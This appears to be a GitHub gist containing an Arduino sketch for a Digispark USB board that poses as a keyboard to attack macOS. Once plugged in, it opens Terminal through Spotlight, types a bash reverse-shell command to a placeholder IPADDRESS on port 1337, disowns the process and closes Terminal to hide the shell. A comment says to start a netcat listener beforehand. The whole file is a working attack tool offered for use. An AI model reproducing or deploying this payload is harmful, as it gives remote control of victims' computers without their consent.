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carlosrobles/digispark_macOS_reverse_shell.c

Forked from MattOates/digispark_macOS_reverse_shell.c
Created December 31, 2020 12:29
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digispark_macOS_reverse_shell.c
#include "DigiKeyboard.h"
//Command key is ord 37 and as a modifier 0x00000008
//See NX_DEVICELCMDKEYMASK http://svn.red-bean.com/bob/SDL-altivec/trunk/src/video/quartz/SDL_QuartzEvents.m
//For a look at available keys https://github.com/digistump/DigisparkArduinoIntegration/blob/master/libraries/DigisparkKeyboard/DigiKeyboard.h
#define MOD_CMD_LEFT 0x00000008
boolean do_hack = true;
void setup() {
// don't need to set anything up to use DigiKeyboard
}
void loop() {
// this is generally not necessary but with some older systems it seems to
// prevent missing the first character after a delay:
DigiKeyboard.sendKeyStroke(0);
//cmd+space
if (do_hack) {
DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_CMD_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("terminal");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
//Ahead of time you want a machine at IPADDRESS listening on port 1337 `nc -l 1337`
DigiKeyboard.println("nohup bash -i >& /dev/tcp/IPADDRESS/1337 0>&1 &");
DigiKeyboard.delay(500);
DigiKeyboard.println("disown $!");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_Q, MOD_CMD_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
do_hack = false;
}
// It's better to use DigiKeyboard.delay() over the regular Arduino delay()
// if doing keyboard stuff because it keeps talking to the computer to make
// sure the computer knows the keyboard is alive and connected
DigiKeyboard.delay(10000);
}
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